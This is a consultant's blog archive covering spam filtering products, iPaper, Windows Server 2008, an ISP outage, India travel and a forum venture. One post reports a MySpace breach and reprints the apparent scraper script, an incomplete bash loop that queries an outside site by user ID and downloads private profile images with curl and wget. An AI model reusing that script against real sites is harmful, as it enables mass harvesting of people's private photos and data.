iPaper a New Web Document Format

iPaper from Scribd has launched an online document viewer that some are claiming will be the Adobe Acrobat killer. Scribd is claiming to have a superior product for online document publishing and after taking a test drive I have to agree that they are on to something here. The concept for the technology came from a piece of software called FlashPaper from Macromedia. When Macomedia was acquired by Adobe the development of FlashPaper was halted, iPaper takes the concept to the next level. iPaper builds on the features of PDF, including full text search, copy/paste functionality, view modes, and zoom and embeds their functionality into the webpage.


iPaper is more than just a way to view PDF’s and documents inline on a web page, it has the ability to handle Microsoft Office documents, including Word, Excel and Powerpoint presentations. They also have support for OpenOffice documents, imbedded JPEG images, plain text files, PostScript files and but do not support Office 2007 docx format yet. You need to save it in a previous version and upload the files.

Cross Platform Document Support

One of the major shortcoming that I can see for iPaper is the requirement that they host your documents and you are simply displaying the compiled link to your document that they host. Not a real deal breaker, but it will stop some organizations from switching due to security, copyright or DRM concerns. Scribd utilizes the Amazon S3 storage subsystem for reliability and scalability. Your content is probably safer and will get served faster from Scribd than from your web hosting provider.

Scribd has a single snippet of code that can be used on any website to convert the existing documents to iPaper format, they call this technology QuickSwitch. The way that QuickSwitch works is by parsing the content on your website, uploading it to the Scribd server and allowing you to choose how to display the iPaper content onto your website. There are one of four ways that QuickSwitch can display your documents; a full screen iPaper hosted document, links to your iPaper documents, they can replace and embed iPaper over your existing document links or convert documents and embed documents in custom pages on your website.

The primary reason that I have taken any interest in this new format is the possibility of embedding and monetizing the content from your existing documents. Yep, context sensitive ads served directly to your readers from your documents. Scribus will pay you for allowing them to display these ads on your pages. This is an option but the monetization of documents has really not even begun yet. It is nice to see that there are startups that recognize that good content is powerful and that advertiser are willing to pay for engaged readers. Just imaging reading a DIY on how to build a coffee table and you get ads from a furniture store or a big chain home improvement superstore?

The possibilities are really endless when it comes to marketing via web documents, Adobe and Microsoft are experimenting with this technology but I have not seen or used it yet. Your thoughts are always welcomed.

Google Spam Filtering with Postini

Dare I say that they have done it again? Has google rewritten the rules for spam filtering for business? Googles press release as of today has some interesting announcements about how they plan to simplify the business of email security and message discovery. Does this mean that my article about spam filtering that was written a week ago completely invalid at this point? Will Spam be cured by the big brains over at Google?

Not exactly What it means is that companies like St. Bernard software, MXLogic and CudaMail will be getting a shake up.

What Google has done is dramatically improved the price point, scalability and reliability of the Software as a Service (SAS) model for email filtering. The way that this works is a company continues to host their own email servers, or they have an ISP that hosts it for them and they send their mail to be sanitized from Spam and Viruses before the content even makes it to the ISP. Think of it like a “super receptionist” that opens each and every piece of mail that is addressed to your office and determines that it is valid before sending it on up to the intended recipients. The problem is her trash can gets filled every day, five…ten…fifteen times each day and it clutters up the office. She does her work extremely well, but the trash lands up in your trash can.

Now imagine that this “super receptionist” is sitting at the post office and she is sifting your mail and determining what should be put onto the truck and delivered to your office. Her job is to sort mail AND to keep your trash (spam folder) almost completely empty. Sometimes she makes a mistake and some spam gets delivered to you, and you open it because you are so used to 99.99% of your mail being valid OR sometimes she misclassifies something important as SPAM and you never get to see it…

Either way filtering your mail at the post office also referred to as the CLOUD is the most efficient way to handle your spam. They update the software and keep all the antivirus rules up to date without the need for an annual software plan from your antivirus vendor.

A little Google propaganda but it is true.

Scanning for Spam in the cloud is my personal choice as a best of breed service, but it does not negate the need for network based antivirus solutions. Its great for SPAM, not always the best solution to protect against viruses and trojans.

Unless you need customized rules for your spam filtering, outbound smtp filtering or specific attachment blocking – go with the basic service.

You can see all of the options at the Google Apps information portal.

My bottom line suggestion: This is the best of breed solution right now. If you don’t have spam protection, sign up and get it. IF you have spam services already SWITCH.

Touching Your Customers

I am sitting here reading the February 4th edition of the San Diego Union Tribune (yes, I research and write my own newsletters, I don’t outsource this to India; Yet!) and there is an interesting article about businesses that remember your birthday and get in contact with you to help celebrate your day.

The article is about a person who gets a phone call on their birthday and it’s from the car dealer that he make a purchase at two years ago. His wife has a birthday a few days before and she gets gift certificates from the stores that she goes to. The article is really not well written but the implication is clear. Touching the customer at significant and memorable moments can have long lasting effects. A message during the holidays or on a birthday is memorable studies show that your customer requires multiple touches during the year for you to keep their attention. This is why large companies have loyalty programs, but most smaller businesses don’t have the budgets to support these plans.

Here is my quick guide to creating a program that touches your clients to increase sales and customer loyalty. I am NOT a proponent for traditional loyalty programs but I do want you to touch your customers and grow your bottom line. Customer Loyalty Cards If you are interested in a traditional loyalty program with cards take a look at Valutec these programs take a while to get up and running, but can be effective.

12 Touches Per Year

My recommendation is to touch your clients no less than twelve times per year, this can be with postcards, letters or the easy route with e-mail messages. I suggest that you mix things up, I touch my customers at least 42 times per year via email and four times per year with a “personal letter”; and once per quarter via postcards and customer satisfaction surveys. For an amazing postcard company I use Modern Postcard Modern Postcard. You can mail 500 Sumo sized postcards for about $500. These really make a huge impact.

If nothing more you should send emails to your customers once a month. Update them with what is going on in your business, or what is going on in your industry. Remember to ask permission and to make it easy to unsubscribe.

Use the Web

Communicate with your customers with a blog, it is a simple way to get your message out to your readers. Just think, your first email to your clients can be the announcement that you have a new blog. Take a look at my friend Drew Burks of Dream Design Realty, I helped him to setup his blog a few weeks ago. He is taking charge of his message to communicate with his clients; His business has changed in the last few years, but he is taking steps to maximize the value of his exiting customer base and attract new clients.

One you have started touching your customers, spice it up with a satisfaction survey. I like using icontact.com or SurveyMonkey.

Pick up the Phone

Ok, so your not very good with computers or you are not interested in spending a few hundred bucks to have a blog or newsletter setup for you. Do the easiest and most effective way to reach out and touch your clients. Pick up a phone and call. See how they react to your personal attention. Most people would love to hear from you. My suggestion is to keep it up, one phone call a year is not frequent enough to make a measurable difference. Use a process to track when you call your customers, think about software like Goldmine, Act or Salesforce.com.

Take Action Today

If you are struggling to think of ways to effectively touch your customers. I have a package that includes a blog for your company, a newsletter template and marketing ideas that are customized for your company. I guarantee that you will be running in a few days for just $379. I have a Masters Degree in Marketing and have dozens of clients that can attest to the results of being proactive with your marketing.

Starbucks Gift Card

If you are not ready to reach out and touch your clients I can appreciate your fear. When you are ready, you can give me a call. I would like to add you to my birthday list. Last month I sent out Starbucks cards! Email me your details.

SPAM Filtering: A reference for the rest of us.

Fighting SPAM has never been easier and harder at the same time. I know that it sounds like a contradiction but there is so much technology out there to protect you from spam that it is tough to know what actually works.

We have managed thousands of individual mailboxes over the years and there seems to be Three major approaches to fighting SPAM. They are: Desktop, Server and in the Cloud or appliance solutions. I am going to give you my recommendation for each of the services. And then my bottom line advice and watch out for a huge curve ball.

Desktop Filtering

Outlook 2007 BoxDesktop anti-spam gives the user the greatest level of control over their SPAM policy and rules. It runs directly on the desktop and acts like a filter between your inbox and your email software. Most of the time these solutions work quite well, and by quite well I mean that the end user actually sees that there is something happening and their SPAM folder is catching nefarious emails. The big problem is that the filtering is happening at the client PC and it does nothing to combat the actual source of the email. It just SORTS and judges the mail, so what you basically get is a great sieve that catches and classifies email. Not elegant but it most certainly works. I like the powerful filtering of Outlook 2003 and above.. Yep Outlook has a fantastic spam catching engine and the best thing is the price.. Free!

Cloudmark LogoMy runner up for this service is Cloudmark Desktop edition, at $39.95 it is a steal if you Outlook is not keeping up with your crazy emails the only reason that this is a second choice is because the price tag is a little high if you have more than a few machines.

Server Based SPAM Filters

GFI MailSecurityMost of you are running a Windows Server and if you are running Windows Server chances are you are also running Exchange Server so this is where I am going to focus my attention. The majority of our clients use Symantec Mail Security for Exchange and it had been doing a pretty good job until recently with the new breed of image based spam. So we have been looking at GFI MailEssentials which seems to be a more comprehensive solution for anti-spam on an Exchange Server. I would have said that the Symantec product is the better choice but I don’t have confidence that they will deliver a product that will solve the problems of SMB’s. They have really upset an entire community with their new Endpoint Security product that causes stability issues. If you need to choose a new filter go with GFI, it is stable and the updates usually address the common spam issues.

SPAM Appliances


When it comes to appliance based filtering the clear market leader in terms of name recognition is the Barracuda. This is a GREAT filtering appliance and if you want to buy the best BRAND then buy this. But if you want an appliance that catches more spam and is actually more potent I suggest the MailFoundry. I met these guys a few years ago at ISPcon; a conference for Internet Service Providers and I have deployed a number of them for our clients. Clean install, with very little fuss and a very potent scanning engine. If only their marketing budget was as good as their product: They would rule the world.

Scanning in the Clouds

If you want the benefits of a scanning appliance but none of the up front costs consider a SAS (Software as A Service) provider like St. Bernard Software and their LivePrism service. (We use them for our office and love them) or a service provider that hosts an appliance for you. There are a number of companies that will host a barracuda or mailfoundry for your office. ST.Bernard LivePrism You pay a simple monthly service cost and they filter your mail before it even touches your network. You get the best of both worlds, but you may not get the configurable that you need and tech support can be problematic if you rely solely on them to debug email issues. My vote for this would be St. Bernard’s LivePrism because it just works and is a dream to setup and each person can manage their own quarantine section.

The Bottom Line

If your ISP hosts your email then you are stuck with a desktop solution. If you have less than 10 users and don’t mind managing your own black / white lists and you have Exchange then GFI Mail Essentials, but if you can afford the $1200 or so get an appliance.

Google AppsOr just switch your entire company to Google Apps and get the best of breed spam, anti-virus filtering from everyone’s favorite company GOOGLE.

You get the filtering capability of GMAIL Amazing! with your own domain name for ZERO, Zip, Nada or FREE. And get Webmail and calendaring right out of the box. Call me and I can help you switch to the most reliable email provider in the world.

Myspace Hack and Identity Theft

This may seem like random lines to a lot of you, but it is the code to the largest theft of private user data to date.

#! /bin/bash
for ((; a <= LIMIT ; a++)) do curl -s -d user=$a http://myspaceprivateprofile.com/view.php > view$LIMIT
if [ `grep -o 'Pictures: [0-9]*' view$LIMIT | awk '{ print $2 }'` -ne 0 ]
grep -o 'http://[a-z0-9A-Z/._-]*.jpg' view$LIMIT | wget -q -i - -P ./$dir/
echo $a >> listwpics
grep -o 'http://[a-z0-9A-Z/._-]*.jpg' view$LIMIT >> listwpics
echo $a
mv view$LIMIT ./html4/$a.html
rm view$LIMIT

A 17-gigabyte file that contains more than half a million previously private images that were pick pocketed from Myspace is out in the wild and downloadable via BitTorrent. This privacy breach if true would be the largest security exploit on the web 2.0 social networking site.

It seems that Myspace has responded by patching the security holes, but thats like closing the barn door after the cows have escaped. To little to late.

With the amount of personal data that these site have, there should be a greater effort in enforcing user privacy and stiffer penalties for not protecting private data. This time it was just pictures, next time on a different site it could be credit card details or social security numbers.

Lifelock Discount CodeI personally use Lifelock to defend me from these ever popular data thefts. Click if you want a 30 Day free and $21 off lifelock coupon code, protect your identity before some hacker buys a new flat screen with your credit info!

8 Top Things You Need to Know about 2008 Server

For those of you who have been long time subscribers to TechTalk you know that I am not a fan of Microsoft Windows Vista. In fact I think it is the one piece of Microsoft software that actually hinders business productivity. I have clients who switch almost every week from Vista back to XP, because of performance issues. More than a year after its release it is still not production ready. No wonder so many people are switching to the Mac. With that said, not everything that comes out of Redmond lately hurts productivity.

I have been working with Windows 2008 Server for about two months now in its pre-release format and I have to tell you, that they have got it right.  Sure there are bound to be bugs, but it will be well worth the upgrade.  If you want to skip this email and get on with your day, feel free knowing that my recommendation will be to upgrade to 08 in 08. I just want you to wait until the second quarter.

Faster File Sharing

The SMB (Server Message Block) protocol has been upgraded to version 2.  The previous version that is still in use today was developed 15 years ago and had some serious shortcomings.  SMB 2.0 will more than double the speed of your file transfers.  The big problem is that the only desktop operating system that runs SMB 2.0 is Windows Vista at this time. I expect that this will trickle down eventually into other operating systems, but who knows. For those of you who are running Vista, the speed increase will be immediately noticeable.


I have already written about Server Virtualization but now Microsoft has made it part of the operating system. No more third party tools required to experience the benefits of virtual servers. There are third party tools that will help to round out their offering, but they will be more cost effective than the VMWare alternative. Having virtualization built into the heart of the operating system will increase its stability and really help this technology thrive. If you are going to use virtualization, make sure that you remember it requires a 64Bit CPU, my suggestion would be the Intel VT or the AMD Pacifica.

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Virtualization Journal

Its always nice to see your name in print. Today I found this article about me in Sys-Con.com. The Virtualization Journal is one of the top industry publications for server virtualization.

It is always nice to be syndicated and mentioned in an International Media.

Disc Wireless Outage Continues – Week 3

No one likes to see someone in their same industry struggling to keep subscribers happy and informed when there is a catastrophic network outage. At this point Disc Wireless http://www.disc.net has been down for almost 3 weeks. Their subscribers have left in droves, seeking alternate connections to the Internet.

I suspect that DISC is not even sure what their current subscriber count is nor will they have an idea of the real impact of this outage for weeks or even months down the line. I will say that I have been monitoring the messages left of the DISC Wireless voicemail system and I am VERY impressed by the way that they are actively communicating with their customers and keeping people in the look.

I feel that they are doing the best that they can during less than ideal circumstances and they are keeping their chins high. I have three distinct feelings about the situation, these feelings come from my unique points of view on this situation. I have feelings as one of the businesses in the same space about a peer struggling to maintain their customers, I have feelings as an outsider looking in with dismay at how many businesses are stranded at this point and then I am looking at this with my MBA hat on and this is the most fascinating.

As an MBA in Marketing I know how difficult it is to get you message to your customer and just how that message is perceived. I know the skepticism that customers have when you have let them down, and how difficult it is to rise above the situation and move forward. I am really impressed with DISC and how their customer care team has handled this. They have been experts since the first voicemail message that I heard over a week and a half ago. They are handling the situation like a well oiled machine supporting an enterprise sized business. I hope that their customers hear the genuine appeal and remain loyal as long as possible.

Here is the recording from Saturday afternoon on the DISC Wireless voicemail system. Stating that they are not sure when the issue will be resolved.

DISC Wireless Still Down

I was hoping that DISC Wireless would have been able to restart their service this weekend but it seems that they are still running into problems with XO Communications. I am still not certain about the nature of the outage but for an ISP to be down for about eight days, it had to have been big.

ISP’s typically have well engineered and redundant systems, so for an ISP to be unable to provide services to their customers the issue must have been big.

Here is a recording from Sunday night at about 6:30pm from the DISC Wireless Technical support phone number. In my opinion, the frustration that this must have caused their subscribers is immense and I am confident that their business will take a significant loss because of this catastrophic outage. They have started having their customers FAX in correspondence because their email servers are all down. I suspect that their voicemail boxes are getting quite full at this point in time also.

I wish them the best of luck in getting turned back on, bright and early Monday morning. For those customers that are still without service give Skyriver a call at 858.812.5280. They can get you up in a day!

Disc Wireless Skyriver

Shakeup in the Coachella Valley Internet Market

It seems that one of the business internet service providers in the Palm Springs, Coachella Valley and Indio has been disconnected from the Internet. DISC Wireless a WISP has been down for more than a week leaving hundreds of clients without service. My understanding is that they do not have upstream Internet connectivity but that their wireless network is still functional. I called their technical support department this morning at 9:30am to hear a message from last night that XO communications has not enabled their upstream connectivity.

You can listen to the recording from their support department here. It seems that they were expecting to be online last night before 10pm but their website and customers are still down.

I am not going to speculate on what happened, all I know is that customer are down and DISC Wireless is currently not online. When the network is back online their website is http://www.dis.net and the customer support number is 760-325-DISC.

I know that Time Warner Cable, ATT and Skyriver have dispatched their sales departments to the area to help stranded customers. What business can survive without Internet Service for over a week?

Getting your Internet connection back up and going is not the biggest issue facing business customers. Their biggest issue if DIS Wireless cannot get their network back up is going to be their email and web hosting services. If their domains were registered by DIS and the DIS email servers are off line they may have no way to release the domains customers. Chances are this will keep customers down longer than need when they switch to another provider.

If you would like a reliable Internet Provider and you are an affected customer Skyriver can get you connect and up and running within 1 DAY with speeds ranging from 1Mbps to 10Mbps. You can call them at 858.812.5280

Leaving India

Its midnight Maharajah and I am sitting in the lounge at the New Delhi airport waiting for a flight that is about ten hours away. I have not written for the past few days not because there was nothing to write, on the contrary there has been so much to write that figuring out where to start would be even more difficult than actually putting pen to paper.

I think that I left off in the Pink City which seems like a million years ago. This was a long trip, but no where near long enough at the same time. We spent about eleven days in Rajastan and we only went to four or five cities out of about a dozen. And Rajastan is only one of about twenty states in the Indian pantheon each of which has a unique and flavor and character.

The last few day have been spent in Bombay, the most vibrant city that we visited. The oppressive heat means that the city really lights up after the sun goes down. We dined at the cities premier seafood restaurant Trishna a once in the trip journey into luxury. The mean cost about as much as a night in a hotel but the garlic prawns and de-boned whitefish Hyderabad style were Amazing! Well worth the splurge as our last dinner in India. Ok, enough about that meal, incredible as it was.

I have been sneezing since the moment we stepped off the plane, there is something in the air or perhaps the air itself that is just generating this torrenting tornado of bloodshot eyes and a snotty nose. Lisa is unaffected by this so it must just be me. This place is alive, everywhere you look there is a crowd, this is unlike anything that I have seen or even imagined. The impromptu commuter passages, the sidewalks that become roads and how six cars can fit on a four lane road make me think of an ant colony. When you look at the hustle and bustle it seems disorganized but when you take a step back the elegance really shines through.

I know that the book Shantaram helped me tremendously on this trip, without it my perspective would have been skewed by my own personal biases. Bombay came alive on the pages of the book and visiting Leopolds Bar anchored me in the experience. The heat, the hustle, the crush of people getting onto the train (a whole story here) is spontaneous and passionate. I loved every moment here even with my head feeling like it would pop.

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Bombay – Train Time – Santacruz Station to Church Gate

Being our first night we headed back to our hotel in a Second class train ride. Our original journey on Sunday morning cost us 156 Rupees, which equates to a good breakfast so we decided to take the second class option which costs 14 for both of us. The train car was crowded but not claustrophobic and one of the older gentlemen that we were sitting near came up to us and started talking. The usual, where are you from, how long are you here, what’s your name, he was very well spoken and after a while he told us that tomorrow we would be unable to take the Second class option because there is not enough room to breath never mind sit, so we would be better off taking the First Class option as he would during the week.

The next morning, MADNESS. I have never seen anything this chaotic, pushing, shoving and people jumping from the over stuffed train doors before the car has stopped. Scary. The book Shantaram describes this perfectly and one of the things that he says is that the amount of force required to do anything in India, including boarding a train is “just enough.” Just enough to get the job done, just enough to make sure that you don’t miss the train. Trains are usually on time, maybe a minute late, but these clunking beasts are not sitting for long.

I estimate that they are only in the station for about 30 seconds and in that time hundreds of people change places some getting to their station and some getting onboard for the office. Most people start work by 10am so the crashing trains happen until about 10:30 and then lighten up. Somewhat. Today we took the train and Lisa had to sit in the ladies only section because of the number of people and I sat in the baggage car with the fish merchants who were transporting their catch and the road workers with their pick axes and steaming hot chai teas.

I was sitting and holding a one Liter bottle of water that was half finished. While I was sitting down I got a tap on the leg and the guy next to me motioned for the bottle. I offered and he took a sip in that all to Indian style of drinking. Never let ones lips touch the cup or the container. The is the land of sharing especially water. On the streets one water merchant may only have six stainless steel cups for 100 customers. Each one making sure that his lips never touch the rim of the glass. Its more of a pour than a sip. But any way, no local would dream of carrying around a liter of water so having a half finished bottle in the baggage cart was just an invitation to share.

Technology is Fragile

Technology is fragile. What we expect and what we receive are usually in sync, especially if we have used the technology before. When it gets out of what, that’s when things break down. Today I lost (scrambled) my brand new 2GB SD memory card from Costco the last seven days of pictures have been lost to the corners of my mind. Without warning the card just displayed “Card Error” on the camera and when I was finally able to buy a USB sync cable (another great story) I was confronted with a Macintosh error messages that the “disk volume could not be mounted or repaired.” Oh well, we love it when it works and are shocked when it doesn’t. I am not going to sweat it, I have another card and plenty of time here in India. I’ll have to rely on postcards for a while.

I have traveled to more than fifteen countries in the last six years and with each adventure I learn a little more about trekking the world with technology. Here is my advice as it applies to India. We have a hired car taking us around and we are staying at 2-3 star hotels that by American standards are relatively clean, very loud but have private western toilets and rooms that lock.

1. The power adapters from REI / Frys or other electronics stores do not fit the plugs in India. The shape of the 3 prongs is similar to but not the same as South African travel plugs. But finding simple adapters on the streets is easy. The cost is about 15-25 Rupees, which is about 50 cents. Get more than one. If you need to charge multiple items like a cell phone, laptop and iPod you will have to wait until each is charged to charge the next one. Additionally you cant just leave your gear charging all day because the rooms do not have working power until you lock the door from the inside and put the key into the power box on the wall. This triggers the flow of juice, A/C and lights. No key in the box, no power. So either you leave your room unlocked for the day or you get multiple power adapters. (Yes, I know some people remove the key fob from the key and get around it that way) I however prefer to leave the key at the desk when I head out for the day.

2. Check the power rating of your equipment. Everything that I own has a 120/240 volt power adapter but some things like hairdryers do not. When in doubt ask, a blown breaker at 2am means that you could be sleeping without heat if the front desk is closed.

3. Laptops are fine to bring along. I have the MacBook Pro with the standard Mac power adapter. It is protected with a hard plastic shell and a discreet black laptop backpack. I never take it out at the hotels; I just use it in my room with the doors closed. I also boot it up when the car trip is going to take a few hours and there is open road ahead. Check with your guide, there may be safety reasons not to have it on your lap in certain areas. I have yet to have issues.

4. Handy to have are the little battery boosters for cell phone batteries and iPods. I purchased one with 12 different tips that will charge my cell phone or iPod or even my camera. They cost about $35 and weight almost nothing. A must have item.

5. Walkie-talkies. There are two of us traveling. If we ever get separated at a market or inside a monument we turn it on after a few minutes and figure out where to meet each other. Thank goodness we have not had to use it, but it is worth the peace of mind.

6. If there are critical pieces to make your technology work like cables or connectors. Pack them safely or even consider buying a duplicate cable before you leave. No one wants to be walking the bustling streets of Jaipur looking for a fricken USB cable at 10pm. Been there, Done That.

7. Get a computer lock with a motion alarm. One of my favorite accessories. It allows me to lock up the computer when I am out of the room to a chest of drawers, a pipe or almost anything else. And it has an ultra sensitive motion sensor that starts to shriek after 10 seconds of meager moments. I also use this on the door at night to alert me if someone is opening the door. It cost me about $39 but I use it every single day.

8. Have your cell phone unlocked before you come. I always but a local prepaid card just for emergencies, I also program the tour companies number the guides number into the phone. Test it and makes sure that they have your details as well. SMS’s are big here; you can communicate almost anything with SMS. Like meet me here or please pick us up there. I paid $10 for a prepaid SIM with 100 minutes of talk time; it expires after a year of no use but well worth the price. You will need to have your passport ready to signup for the service. I always have a photocopy at the ready for situations like this.

9. If your provider will not unlock your phone buy a simple phone in a store in India. I have seen phone starting at $35.

10. I use a blackberry from ATT and it took me about a week to get the unlock codes. I ordered the unlimited Blackberry International plan that costs about $65 with a one-year contract. It is $10 more expensive per month than my regular BES plan but well worth it.

11. In dire situations I use my phone via Bluetooth as a modem on my computer. Speeds are not great, but a whole lot better than no Internet connection at all.

12. Don’t be flashy. Your phone or your camera may not be a huge item at home but here, it can be more than half a years earnings. Be wise, and be safe.

13. The Internet is everywhere and so is spyware. Unless you have a business need to have a computer or you just like having all of your own software or whatever you can always get connected to right a quick email or book travel to the next city. The current price is about 60 Rupees per hour, about $1.50.

14. Most hotels are technology friendly; if you need something just ask. It’s not the first time that they have been asked. Most of the time they can arrange for it to be dropped off or picked up or whatever you need. Pay when the work is complete, not before. If they don’t get it right the first time, provide more details and they will get it handled. The people area really amazing. Bring all of your chargers and cables and spares and everything should be fine.

The Pink City – Jaipur

Just leaving Jaipur the Pink City another Fort built by the brothers, sons, sisters husband of some Emperor of India from 300 years ago. I don’t want to sound cynical but we have probably seen 6 forts and twice that in Temples and Palaces. The reason for my lack luster attitude is not the locations or the architecture but it is really the similarities between these buildings. I am finding myself trying to find the differences between one fort and another, some subtle hint that in the fifty years since one was build and the other started that they learned something, changed something and were not doing the same thing the same way just in a different city.

Metal rings at the House of Commons on the exterior of the building indicated that when the House was in session that there were carpets draped from those rings to shield the goings on from the women in the crowds. They also protected from the elements and enclosed these great walls. Each guide has their own special way of doing these tours, some use repetition and others comparisons between this fort and that fort.

The huge differences in my unsophisticated mind are where the structures were build. In Agra and Delhi there are almost no hills or mountains, the land just goes on and on like an Iowa cornfield. But here is Rajasthan mountaintop Palaces and Forts are the pride of the city. Elephants amuse the tourists with tours up the windings paths to the encampments and down in the cities they haul heavy loads for the locals. I have said it before, but India is Incredible.

The balance and the harmony is just something that is indescribable, like an Indian G-d, there are many hands to India. One the one hand it is a shit hole; The smell of human waste in the alleys can be overwhelming, but you then emerge onto a bustling and relatively well lit, and clean street with name brand clothing outlets. On the other hand you see so many handicapped people that you want to just cry out for each of them, but then you see that the people that have no use of their legs have specially designed bikes that allow them to propel their load with their hands. A man without legs and a man with functioning faculties both deliver the same goods by bike up and down the crowded streets.

There is a fascination that I have with the balance; things just seem to work here. From the claustrophobic crowds all moving together like a school of fish towards the market without a complaint or care when then are bumped into. Or the way that using the sidewalk as a road when a cow decides to block the streets. The people just seem to understand that the inconvenience of loosing the sidewalk is nothing as compared to traffic stopping for five short minutes. For me, it’s the people. The sites are amazing and have to be experienced but it is the people that really stand out.

Our guide Sanjeev from Abyss Travel in Delhi has been absolutely amazing. His mantra seems to be “I am here to be of service to you.” And there is nothing that happens during the day that seems to take that serious small from his face. I still have some good old skepticism about the relationship that we have, but I have complete faith that being with him here in India is the best thing for us right now. His English is not great, but he makes up for it in driving acumen and knowledge of the scams and commission hungry guides. I know he survives on tips, his happiness is directly related to our happiness. I enjoy symbiotic relationships; they keep things in check.

Quote of the Day

Lisa Day 3 – My burp just tasted like curry.

India – LAX to New Delhi

Today started at about 6am with the final packing and getting ready. I made sure that I printed (again) the boarding passes and the information for the first hotel in New Delhi the Suncity Hotel. I was up the night before until after midnight doing the needful, like writing those last emails to clients and wrapping up some loose ends. Despite my lack of sleep or perhaps because of it I was overly cheery and pumped for the upcoming adventure. Mom and dad stopped by at about 10 to say goodbye and as per usual I was handling some customer emergency, you know the kind of emergency that people have when there is nothing else to worry about in the day. Never the less it took time to resolve and ultimately the customer was happy, but I did not really get to spend quality time with the folks.

Lisa was picking me up at noon for our adventures and I know that she is never late 🙂 Amazingly she was on time and we set out on our one-hour drive to her parent’s house in Laguna Nigel where we were getting picked up by a shuttle service for the last leg to LAX and our twenty-six hour journey on India Airlines. I am skipping out the parts where I was getting phone calls from clients right up until we board or the whole security process at LAX which is less than organized and I will pickup at Gate 2 waiving for our flight.

Air India is so ultra security conscious (or they just don’t trust the TSA) that they have their own round of baggage checks and people screening. Each bag, and each person were screened and checked and then permitted to sit in the waiting area. If you went to the restroom you then had to stand in line again and get checked. The crowd just formed a line and everyone stood there patiently waiting their turn.

The plane was a Boeing 737 that looked as if it was freshly painted on the inside and ransacked on the inside. This plane lacked the modern comforts and conveniences that we have come to expect. On my seat you could either have the headphones working or the seat reclining, but not both at the same time. On Lisa’s chair the armrest covering was gone and a shiny piece of metal gently poked at her the entire trip. The bathrooms were actually cleaner than I expected during the flight, we had head horror stories of filthy toilets and the constant smell of curry. The smell of curry did permeate everything, the seats, the air the whole experience. But it was clean. The toilet although clean did have a small issue, for most of the flight it was detached from the wall. Balancing there if by the grace of G-d performing its services without fail.

Now most people that I know order a special meal on long distance flights, you know ordering vegetarian or Kosher just so that you know that you will be getting a quality meal. We had ordered the Kosher meal and as far as airplane food goes it was quite good, but let me tell you if you fly Air India and you LOVE Indian food, skip the special meals and just eat what they serve. It looked and smelt amazing, honestly if this is what plane food is like, just imagine authentic Indian food!

One Ambian later and we woke up just in time for our decent into Frankfurt for a refueling stop. We had left Los Angels about an hour late so we only spend about forty-five minutes on the ground before boarding and an on time departure. Another ten hours in the air and we would be landing in New Delhi.

Landing in Delhi at five in the morning, the city was still dark. The first thing that hits you is the smell. Its not the smell of shit and piss that everyone warned us about, this was more familiar somewhat easier to tolerate. It actually smelt like the city was on fire. San Diego just recovered from a huge fire, so for about a week the smell of smoke was everywhere. This is exactly what Delhi smells like. Smoke from burning wood, the air was absolutely pregnant and about to pop. The air is thick and the first few breaths leave you gasping for more, my body readily accepted that each breath was delivering about half the air that it needed and the pace of my breathing changed to match my needs. Dirty yes. Filthy not really.

We walked out of customs and into the great wide airport hoping to see a sign from our driver. No such luck, we spent about thirty minutes looking for our prearranged transport but he was nowhere to be found. Everyone was saw or spoke to be unbelievably friendly and willing to help. Finally we changed some dollars into Rupees and make a phone call at the payphone to the hotel number that was printed on our confirmation. The hotel then gave us the number to the car service, they checked our reservation and noticed us that we were scheduled for a pickup; But the pickup was at 4PM and not 4AM, I assured the man on the other end of the phone that we were indeed at the airport and in need of his services and that 4PM was a clerical error. He agreed and he asked me where I was standing and what I was wearing. Blue jeans and a black sweatshirt and within three minutes a man walked up to us, on his cell phone and confirmed with us that we were going to the Suncity Hotel and with a smile he took our bags and we headed for our first venture out of the predictability of the airport.

Umm, remember what I was saying about the sweet and smoke filled smell? For a few moments the smoke gave way to an overwhelming smell of who knows what and the first thing that entered my mind and leapt from my lips was that ‘my farts smell like roses!’ This unidentified smell dissipated after a few seconds and has not returned since.

Driving! If that’s what it’s called is more like a video game or Mr. Toads wild ride than a predicable and positive experience. I will say that Lisa sat closer to me and held on tighter than she ever has before. What a ride! Disneyland should consider creating a ‘Streets of Delhi’ roller coaster! Lanes are simply suggestions and honking horns serenaded us for the forty-five minute ride.

When we got to the hotel it was clean and characteristically Indian with an Ikea modern feel. Not quite old, but not quite new at the same time. The room by American standards would be considered small. Maybe 80 square feet including the shower and toilet. It had a double bed that consumed 85% of the floor space but it was clean and the sheets were crisp. It was perfect.

By the time we checked in, and headed to the roof for breakfast it was about 9am, and we anything but tired. Wired is a more accurate description. Ready for anything. Breakfast was cold white toast and curried potatoes that were lukewarm but amazingly tasty.

We went down stairs to the front desk and the guy behind the counter asked us if we wanted a map of the city. (This is where it all starts. The simple question of asking us if we needed a map started the sales pitch.) We responded that we were interested in a map and a well-groomed guy came up to us from the travel agency that had shuttled us for the airport and walked with us to get a map. They were back at the offices 🙂

They pitched, we caught and within about an hour we had negotiated a tour of Delhi, Agra and Rajasthan for 14 days including hotels and a driver for $1000. Which worked out to be less than $45 per day per person including transportation, and hotels. We were well researched on this and willing to accept the offer after some specific accommodations were confirmed. The company name is Abyss Travel and as a side note we have completed the first three days with them and everything has been excellent. Well above our expectations. The driver Sanjeev has been at our beck and call and has whisked us to see the amazing sites of New and Old Delhi. If everything on the tour goes like these last three days it will be phenomenal.

Muse Missteps

First Muse Failed

I am a big fan of the 4 Hour Work Week, I maintain one of the largest 4HWW groups on meetup.com and started the 4 Hour Work Week Forums as part of a bigger marketing plan. By following the rules of the book, setting goals, defining the ideal outcome and testing the product before I invest too much TIME into it. (As we know time is money in 4hww terms)

4 hour work week

My original plan for the site was to create an offshoot community of 4hww readers and provide them with the most up to date content on the net about Timothy Ferriss and the 4 Hour Work Week. I hired a freelancer to do utilize blog / rss and internet searches to find the most current and up to date posts about the New Rich, Dream lining, mini-retirements, DEAL and other peoples 4hww experiences. I had them post the articles to the site after a few short weeks I started to build a community.

My goal was to have 200 active members by December 1 2007 and then start introducing some affiliate programs and other resources into the forums. Each of these outbound links would give the readers of the forum a discount on a relevant product or service and I would get paid a referral fee if they purchased. The type of products included marketing and PPC resources, e-books on how to start a virtual company, coupons to freelance sites, web hosting accounts and the like. I ended up with 84 total members, a huge disappointment for me.

4 Hour Work Week

Process and Planning

The setup of the site was pretty straightforward. I setup a web hosting account at MediaTemple, ordered vBulletin and a theme called Coffee. I then purchased and installed what I think is a must have plugin for vB called VBSEO, which allows the site to have static pages urls and link backs. I then setup an RSS / Blog search for common 4hww terms and head to elance.com to find a subcontractor to make posts for me. Pretty easy to this point.

